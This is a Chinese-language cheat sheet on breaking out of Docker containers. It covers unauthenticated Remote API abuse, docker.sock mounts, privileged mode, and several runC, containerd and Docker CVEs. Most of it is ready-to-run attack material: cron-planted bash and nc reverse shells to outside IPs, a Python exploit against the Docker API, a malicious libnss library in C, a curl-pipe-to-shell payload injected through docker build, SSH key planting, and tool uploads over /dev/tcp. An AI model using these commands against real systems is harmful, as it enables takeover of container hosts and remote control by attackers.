docker逃逸总结
docker逃逸总结
一、 检查是否在docker容器中
通过以下两个地方来判断
# 是否存在此文件
ls -al /.dockerenv
# 在其中是否包含docker字符串
cat /proc/1/cgroup
除了上面两种外还有其他方式判断，如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。
容器逃逸一键检测
https://github.com/Xyntax/CDK/releases/tag/0.1.6
二、Docker Remote API 未授权访问
Docker Remote API 可以执行 Docker 命令，Docker 守护进程监听在 0.0.0.0，可直接调用 API 来操作 Docker
Docker Remote API 是一个取代远程命令行界面（rcli）的REST API。Docker Remote API如配置不当可导致未授权访问，攻击者利用 docker client 或者 http 直接请求就可以访问这个 API，可能导致敏感信息泄露，攻击者也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性，直接访问宿主机上的敏感信息，或对敏感文件进行修改，最终完全控制服务器
漏洞判断
# 返回目标宿主机运行容器信息，漏洞存在
# 这个命令和在宿主机上运行docker ps类似
docker -H tcp://x.x.x.x:2375 ps
漏洞利用
#利用
#远程创建一个镜像
docker -H tcp://x.x.x.x run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh
#此时我们已经进入远程docker容器，宿主机的根目录已经被挂载至容器的/mnt目录下，我们进入定时任务的文件目录，Ubuntu的定时任务文件所在路径是 /var/spool/cron/crontabs/root ,Centos则是/var/spool/cron/root。
#利用定时任务写入反弹shell的命令
echo "bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1'" > root
–rm 容器停止时，自动删除该容器
–privileged 使用该参数，container内的root拥有真正的root权限。否则，container内的root只是外部的一个普通用户权限。privileged启动的容器，可以看到很多host上的设备，并且可以执行mount。甚至允许你在docker容器中启动docker容器。
-v 挂载目录。格式为 系统目录:容器目录
chroot就是把根目录切换到/mnt，最后的sh就是我们使用的shell。
反弹shell exp:
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
github上面的exp：https://github.com/Tycx2ry/docker_api_vul
三、docker.sock挂载到容器内部
当这样挂载时，在docker容器中可以调用和执行宿主机的docker
将docker宿主机的docker文件和docker.sock文件挂载到容器中
在容器中查看宿主机docker信息
docker -H unix:///var/run/docker.sock info
运行一个新容器并挂载宿主机根路径：
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
在新容器的 /test 目录下，就可以访问到宿主机的全部资源，接下来就是写入 SSH 密钥或者写入计划任务，获取 shell
四、Docker 高危启动参数
特权模式 –privileged
使用特权模式启动的容器时，docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令
判断方法：
特权模式起的容器，实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起（CapEff: 000000xfffffffff代表为特权模式起）
利用方法：
特权模式启动一个Ubuntu容器：
sudo docker run -itd --privileged ubuntu:latest /bin/bash
进入容器：
使用fdisk -l命令查看磁盘文件：
fdisk -l命令查看宿主机设备为/dev/sda5(一般是最大的那个)，通过mount命令将宿主机根目录挂载进容器
在特权模式下，逃逸的方式很多，比如：直接在容器内部挂载宿主机磁盘，然后切换根目录。
新建一个目录：mkdir /test
挂载磁盘到新建目录：mount /dev/sda5 /test
切换根目录：chroot /test
到这里已经成功逃逸了，然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多）。
写计划任务，反弹宿主机Shell：
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
如果要写SSH的话，需要挂载宿主机的root目录到容器:
docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
然后ssh 私钥登录。
五、Docker 软件设计引起的逃逸
5.1 CVE-2019-5736
CVE-2019-5736 是 runC 的 CVE 漏洞编号，runC 最初是作为 Docker 的一部分开发的，后来作为一个单独的开源工具和库被提取出来，在 docker 整个架构的运行过程中，Containerd 向 docker 提供运行容器的 API，二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。
影响版本：
- docker version <=18.09.2
- RunC version <=1.0-rc6
利用条件：
攻击者可控 image，进一步控制生成的 container
攻击者具有某已存在容器的写权限，且可通过 docker exec 进入
# 下载 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"
# 编译生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 拷贝到 docker 容器中执行
docker cp ./main 248f8b7d3c45:/tmp
在容器中执行
root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}
当管理员通过exec进入容器的时候，触发payload，从而达到逃逸
5.2 CVE-2019-14271
Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制/var/logs，语法是docker cp container_name:/var/logs /some/host/path。
可能的攻击场景有Docker用户从另一个Docker处复制文件：
- 容器运行含有恶意libnss_*.so库的镜像
- 容器中含有被攻击者替换的libnss_*.so库
在这两种情况下，攻击者都可以获取主机上的root代码执行权限。
漏洞利用
为利用该漏洞，研究人员需要先创建一个恶意libnss库。研究人员随意选择了libnss_files.so文件，下载了库函数的源码，并在代码中加入了一个函数——run_at_link()。研究人员还为该函数定义了constructor属性。constructor属性表明run_at_link函数在进程加载时会作为库的初始化函数执行。也就是说，当Docker-tar进程动态加载恶意库时，run_at_link函数就会执行。下面是run_at_link的代码：
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
run_at_link首先会验证是否运行在docker-tar环境下，然后正常的容器进程也可能会加载它。这是通过检查/proc目录完成的。如果run_at_link运行在docker-tar环境下，那么目录就是空的，因为procfs挂载在/proc上只存在于容器的mount命名空间。
然后，run_at_link会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本，并触发run_at_link执行。
为简化该漏洞利用，run_at_link会尝试在容器的/breakout路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入，而非C语言。让逻辑的其他部分在run_at_link外，意味着在漏洞利用每次变化后无需重新编译恶意库，只需改变breakout二进制文件就可以了。
其中breakout的参考内容如下：
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
https://xz.aliyun.com/t/6806
docker-cp逃逸分析
5.3 CVE-2019-13139
攻击者需要使用ref来注入最终的git fetch命令。ref来自#container：Docker字符串，提供用于Docker上下文的分支和文件夹。由于使用的strings.splitN()函数在：上进行拆分,#和：之间的任何内容都将用作ref。另一个好消息是，由于os/exec包将每个字符串视为传递给execv的参数，如果提供的字符串包含空格，则会将其视为引用过的字符串。因此#echo 1:two将导致执行最终命令git fetch origin "echo 1。这一点对我来说不是很有用，但不能半途而废。
下一部分是识别一个或多个参数，这些参数在传递到git fetch时被视为子命令。为此，我查阅了一下git-fetch文档。事实证明，有一个理想的--upload-pack选项：
给定
--upload-pack <upload-pack>,并且要获取的存储库由git fetch-pack处理时，--exec=<upload-pack>将传递给命令以指定在另一端运行的命令的非默认路径
唯一的缺点是，它用于“在另一端运行命令”，因此是在服务器端。当git url是http://或https://时，会忽略这一点。幸运的是，Docker build命令还允许以git@的形式提供git URL。git@通常被视为用于git通过SSH进行克隆的用户，但前提是所提供的URL包含：，更简洁的是：git@remote.server.name：owner/repo.git。当：不存在时，git将URL解析为本地路径。因为它是一个本地路径，所以提供的-upload-pack最终将被用作执行git fetch-pack的二进制文件。
因此，所有的星号都是对齐的，并且可以构造导致命令执行的URL。
docker build "git@g.com/a/b#--upload-pack=sleep 30;:"
然后执行以下步骤：
git init
git remote add git@g.com/a/b
git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"
请注意，remote已经附加到-upload-pack命令中，因此需要使用分号(；)关闭该命令，否则git@g.com/a/b将被解析为sleep命令的第二个参数。如果没有分号，将会提示sleep: invalid time interval ‘git@gcom/a/b.git
docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’
Try 'sleep --help' for more information.
这可以进一步转换为正确的命令执行(添加第二个#将清除输出，curl命令不会显示)：
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
5.4 CVE-2020-15257
Containerd 是一个控制 runC 的守护进程，提供命令行客户端和API，用于在一个机器上管理容器。在特定网络条件下，攻击者可通过访问containerd-shim API，从而实现Docker容器逃逸
影响版本：
- containerd < 1.4.3
- containerd < 1.3.9
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本（通过dockers version查询），使用了--host网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。
判断方法：
#判断是否使用host模式cat /proc/net/unix | grep 'containerd-shim'
经过以上判断，存在漏洞后。
1、从https://github.com/cdk-team/CDK/releases下载对应架构的可执行文件，上传到容器并赋权
上传方法：
如果漏洞利用过程中允许文件上传，即可直接植入CDK，如果可以在目标系统中执行命令，但是容器没有curl和wget命令，可以参考以下方法植入
# 将CDK下载到公网服务器，并监听端口
nc -lvp 999 < cdk
# 在已经攻入的目标中执行
cat < /dev/tcp/xxx/端口 > cdk
chmod a+x cdk
使用
#可以反弹shell，也可以执行命令
#reverse shell
./cdk run shim-pwn reverse <RHOST> <RPORT>
#execute command
./cdk run shim-pwn "<shell_cmd>"
六、内核漏洞
6.1 CVE-2016-5195
Dirty Cow（CVE-2016-5195）是 Linux 内核中的权限提升漏洞，通过它可实现 Docker 容器逃逸，获得 root 权限的 shell。
Docker与宿主机共享内核，因此容器需要运行在存在Dirty Cow漏洞的宿主机里
